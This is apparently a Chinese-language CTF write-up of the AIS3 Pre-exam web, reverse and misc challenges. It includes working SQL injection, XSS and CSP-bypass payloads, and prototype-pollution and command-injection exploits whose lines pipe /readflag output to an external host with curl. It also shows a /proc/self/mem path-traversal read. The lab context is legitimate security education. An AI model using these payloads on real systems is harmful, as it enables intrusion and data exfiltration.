Pre-exam 的上個禮拜去韓國打了 Hacktheon Sejong
但比賽太通靈了所以我就不寫了
這次 Pre-exam 得到第五名,如果沒有因為玩王國之淚而比別人晚一天打應該能第一
Web
Login Panel
/login
可以 SQLI
app.post('/login', recaptcha.middleware.verify, (req, res) => {
const { username, password } = req.body
db.get(`SELECT * FROM Users WHERE username = '${username}' AND password = '${password}'`, async (err, row) => {
...
登入成 admin 之後直接到 /dashboard
就能看到 flag 了
app.get('/dashboard', (req, res) => {
if (req.session.username) {
return res.render('dashboard', {
username: req.session.username,
flag: FLAG
})
}
AIS3{‘ UNION SELECT 1, 1, 1, 1 WHERE ({condition})–}
E-Portfolio baby
/share
有地方可以 xss,並且 /api/portfolio
可以拿到自己的密碼
about.innerHTML = data.data.about
payload:
<img src=# onerror='fetch("/api/portfolio").then(res=>res.json()).then(res=>fetch("https://bot.itiscaleb.com",{method:"POST",body:JSON.stringify(res)}))'>
AIS3{<img src=x onerror=’fetch(…}
E-Portfolio
跟上一題一樣,不過 /share
的地方多了 dompurify
,同時加了很嚴格的 CSP
default-src 'none';
script-src 'nonce-${nonce}' https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js https://*.googletagmanager.com https://*.google.com https://*.gstatic.com https://cdnjs.cloudflare.com/ajax/libs/dompurify/ https://w3c.github.io/trusted-types/ https://*.clarity.ms https://c.bing.com ;
style-src https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css 'unsafe-inline';
connect-src 'self' https://*.google-analytics.com https://*.analytics.google.com https://*.googletagmanager.com https://*.clarity.ms https://c.bing.com ;
img-src 'self' blob: data: https://*.google-analytics.com https://*.googletagmanager.com https://*.clarity.ms https://c.bing.com ; \
frame-src https://*.google.com https://*.gstatic.com ;
base-uri 'none' ;
require-trusted-types-for 'script' ;
trusted-types default dompurify recaptcha goog#html ;
網站允許你可以上傳 SVG,所以可以直接放 <script> tag
但是由於他有加 nonce 所以基本上是沒辦法直接執行的
不過因為他允許來自 https://*.google.com
的 JS,所以我可以使用 JSONP
<svg xmlns="http://www.w3.org/2000/svg">
<script href="https://accounts.google.com/o/oauth2/revoke?callback=fetch('/api/portfolio').then(function (res){return res.json()}).then(function (res){location.href='https://bot.itiscaleb.com?flag='%2bres.data.password})">
</script>
</svg>
AIS3{<script href=”https://accounts.google.com/o/oauth2/revoke?callback=fetch('/api/portfolio');"></script>}
markToFiles
這題基本上就是閱讀文檔
題目本身是用 pandoc
把你的內容從 Markdown 轉成你要的格式
查閱 pandoc
本身的文檔可以發現轉成 EPUB 之類的格式可以直接把 local file 載入到圖片裡
Several output formats (including RTF, FB2, HTML with –self-contained, EPUB, Docx, and ODT) will embed encoded or raw images into the output file. An untrusted attacker could exploit this to view the contents of non-image files on the file system. (Using the –sandbox option can protect against this threat, but will also prevent including images in these formats.)
內容輸入 ![img](/flag){externel1=1}
,並且目標格式設成 epub
就好了
AIS3{R3@d1ng_D0cum3nt_1s_H31pfu1}
markToFiles-Revenge
接續上一題,這次可以讓用戶輸入檔名,相對的會對使用者提供的格式做檢查
觀察題目可以看到
const content = req.body.comment
const exportType = req.body.options
const title = req.body.title
const hash = content.substring(0, 10)
if (!(exportType in OutputFormat)) {
return res.json({message: 'format not found'})
}
以及
cache[exportType][hash] = req.body.title
非常明顯就是 Prototype Pollution 的題目
同時在 pandoc
的文檔也有寫到如果目標格式是以 lua 結尾的檔案的話,就會把那個 lua 檔案當成自定義的 writer 來執行
所以步驟如下
- 上傳 lua 腳本
- 使用 Prototype Pollution 讓
OutputFormat
可以找到我 lua 腳本的路徑 - 把
exportType
設成 lua 腳本的路徑讓他可以執行
import requests
host = "http://chals1.ais3.org"
port = "10295"
url = f'{host}:{port}/api/generate'
lua = "z.lua"
requests.post(url,json={
"comment":'''
os.execute('/readflag|curl -X POST'..
' --data-binary @- https://bot.itiscaleb.com');
''',
"options":"plain",
"title":lua
})
requests.post(url,json={
"comment":f"/tmp/{lua}",
"options":"__proto__",
"title":"haha"
})
requests.post(url,json={
"comment":"12345",
"options":f"/tmp/{lua}",
"title":"haha"
})
AIS3{Pr0t0typ3_P0llut10n_R3v3ng3!!!!!}
Gitly
splitline 一直在 DC 說這題是水題,而這題也的確是水題
題目本身就是 Gitly 而已
直接去他的 repo 找就很多 Command Injection
我是用他 /new
的 endpoint
他會使用 clone_url
去確認是不是有效的 repo,但其實只要回傳回來的東西有 service=git-upload-pack
就可以通過了
最後直接把 clone_url
當成 git
的參數執行
clone_url=https%3A%2F%2Fbot.itiscaleb.com#";/readflag|curl%20-X%20POST%20--data-binary%20@-%20https://bot.itiscaleb.com;echo
AIS3{so_many_bugs_so_easy_to_rce}
Reverse
Simply Reverse
在 binary 裡可以找到一串 bytes
然後就是去比對經過加密的輸入符不符合這串 bytes
寫個腳本爆破就好了
encrypted = [0x8a, 0x50, 0x92, 0xc8, 0x06, 0x3d, 0x5b, 0x95,
0xb6, 0x52, 0x1b, 0x35, 0x82, 0x5a, 0xea, 0xf8,
0x94, 0x28, 0x72, 0xdd, 0xd4, 0x5d, 0xe3, 0x29,
0xba, 0x58, 0x52, 0xa8, 0x64, 0x35, 0x81, 0xac,
0x0a, 0x64 ]
for i in range(len(encrypted)):
for a in range(0x20,0x7f):
d = ((((a ^ i) >>(8 - ((i ^ 9) & 3) & 0x1f)) |
((a ^ i) << ((i ^ 9) & 3))) + 8) & 0xFF
if d == encrypted[i]:
print(chr(a),end='')
AIS3{0ld_Ch@1_R3V1_fr@m_AIS32016!}
Flag Sleeper
同樣也是一串 data
裡面 check flag 的方法就是
char *input = argv[1];
for(int i=0;i<52;i++){
int i = rand();
if input[data[i]] != data[i+0x34]^data[i+0x68]
exit(0);
}
所以照著弄就好了
data = [10, 12, 28, 7, 38, 31, 47, 44, 42,
35, 48, 30, 21, 11, 17, 16, 34, 40,
33, 39, 41, 9, 22, 4, 6, 20, 19, 46,
23, 45, 26, 0, 15, 3, 8, 43, 14, 5,
2, 27, 49, 1, 51, 36, 37, 24, 25, 50,
32, 13, 29, 18, 212, 232, 164, 28,
253, 132, 194, 47, 46, 150, 96, 216,
121, 216, 140, 164, 49, 219, 147,
252, 201, 28, 9, 188, 155, 79, 133,
255, 104, 20, 87, 64, 147, 143, 68,
147, 142, 96, 165, 244, 62, 58, 119,
25, 61, 56, 71, 182, 7, 37, 1, 154, 237,
217, 212, 40, 149, 219, 165, 112, 29, 241,
8, 189, 13, 224, 211, 149, 5, 184, 255, 207, 162,
122, 86, 199, 170, 122, 240, 206, 9, 102, 102, 1,
163, 188, 119, 225, 239, 3, 246, 153, 9, 115, 10, 70, 94, 103, 52, 137, 97, 29, 109,208]
f = [None] * 0x34
for i in range(0x34):
f[data[i]] = data[i+0x34]^data[i+0x68]
s = ''.join(chr(x) for x in f)
print(s)
AIS3{c143f9818a01_Ju5t_a_s1mple_fl4g_ch3ck3r_r1gh7?}
Vivid Emotion
反編譯後可以找到 333 個 check 函式
裡面都是什麼 return input[a] + input [b] = 0x123
之類的
我是用 Ghidra script 把這些東西全都弄下來,處理過後使用 numpy 來解線性代數
最後把解出來的東西丟進他提供的 flag-decryptor.py
後 flag 就出來了
AIS3{OuO_Hope_th1s_ch4l1eng3_gIve_y0u_viv1d_em0Tions!_(ฅ^・ω・^ ฅ)}
AIS3 ransomware
執行執行檔後,會出現 node.exe
跟 obfransom.js
接著再使用 node obfransom.js
來把在 target_ais3
裡的東西加密
而打開 obfransom.js
會發現裡面都是被混淆過的 js
解混淆後會找到
var args = process.argv.slice(2);
if (args.length > 0) {
var key = args[0];
}
...
if (data.includes("AIS3")) {
data += "AIS3AIS3AIS3AIS3AIS3";
let result = Buffer.from(encode(key, data)).toString("base64");
...
所以我們還需要再找到他使用的 key
我的方法是先找到 ShellExecute
的記憶體位置
然後使用 debugger 在那個地方下斷點
最後就可以找到 ShellExecuteInfo
裡面的東西,也就是可以找到他使用的參數
有了 key 之後就能直接爆破了
let key = "84deed9f24187e643e639bc6383ba0c1"
let flag = "AIS3{"
fs.readFile("./target_ais3/flag.txt.ais3", "utf8", (err, data) => {
if (err) {
return;
}
let encflag = Buffer.from(data,'base64')
for(let i=0;i<encflag.length;i++){
for(let j=0;j<256;j++){
let tmp = flag+String.fromCharCode(j)
let enc = Buffer.from(encode(key, tmp))
if(encflag.includes(enc)){
flag = tmp;
break
}
}
}
console.log(flag);
});
AIS3{a_ransomware_targeting_files_related_to_AIS3}
EERT-1
反編譯的程式碼大概是下列這樣copy_right_btree_to_arr
除了複製 binary tree 的根及右子樹的東西到陣列以外,還會把最後一項設成 0
int arr[53];
bnode_t* root;
init_bnode(root);
btree_add(root,0xbeef);
for(int i=0;i<100;i++){
int num, ins;
scanf("%d",ins);
if(ins == 0xaa){
scanf("%d",&num);
btree_add(root,num);
}else if(ins == 0xbb)
break;
}
copy_right_btree_to_arr(root,arr);
i = 0;
int sum = 0;
while(data[i]!=0)
sum += data[i];
if (sum == 0x27d0c)
print_flag();
也就是說只要讓 binary tree 根及右子樹的東西加起來是 0x27d0c
就可以得到 flag 了
from pwn import *
host = "chals1.ais3.org"
port = 31337
r = remote(host,port)
r.sendline(b'170') #0xaa
r.sendline(b'114205') #0x27d0c - 0xbeef
r.sendline(b'187') #0xbb
r.interactive()
AIS3{Just_A-B1n@ry_Tr33333}
Misc
Media Server
這題其實應該放在 Web 的才對
這題的 HTTP server 使用的是 Python 的 BaseHTTPRequestHandler
並且提供了一個 endpoint do_media
可以讀檔案
上次的 EOF 我就知道 do_
後面加上 HTTP method 就可以打到對應的 endpoint
而 do_media
除了單純讀寫檔案之外也提供分段讀檔案的功能
但 /flag
被設了權限所以不能直接讀
在 do_GET
則是要 self.path == secret_path
,他才會執行 /readflag
secret_path
的宣告是這樣 secret_path = "/flag_" + os.urandom(16).hex()
,也就是說 secret_path
只存在於記憶體裡
在網路上查一查其實可以查到類似的題目
步驟就是
- 把本地端的服務架起來
- 透過
id()
來找到secret_path
的記憶體位置 - 讀
/proc/self/map
來獲取 process 的記憶體分區,並且找到secret_path
在哪個分區 - 知道以後,就可以讀 remote 的
/proc/self/map
並找到相對應的分區 - 最後透過服務提供的分段讀取功能來讀
/proc/self/mem
,就可以找到secret_path
了
media /media/../../../proc/self/map HTTP/1.1
Host: chals1.ais3.org:25519
media /media/../../../proc/self/mem HTTP/1.1
Host: chals1.ais3.org:25519
Range: bytes=140535097741312-140535100862464
AIS3{arbitrary_memory_read_as_a_service}
結語
王國之淚真好玩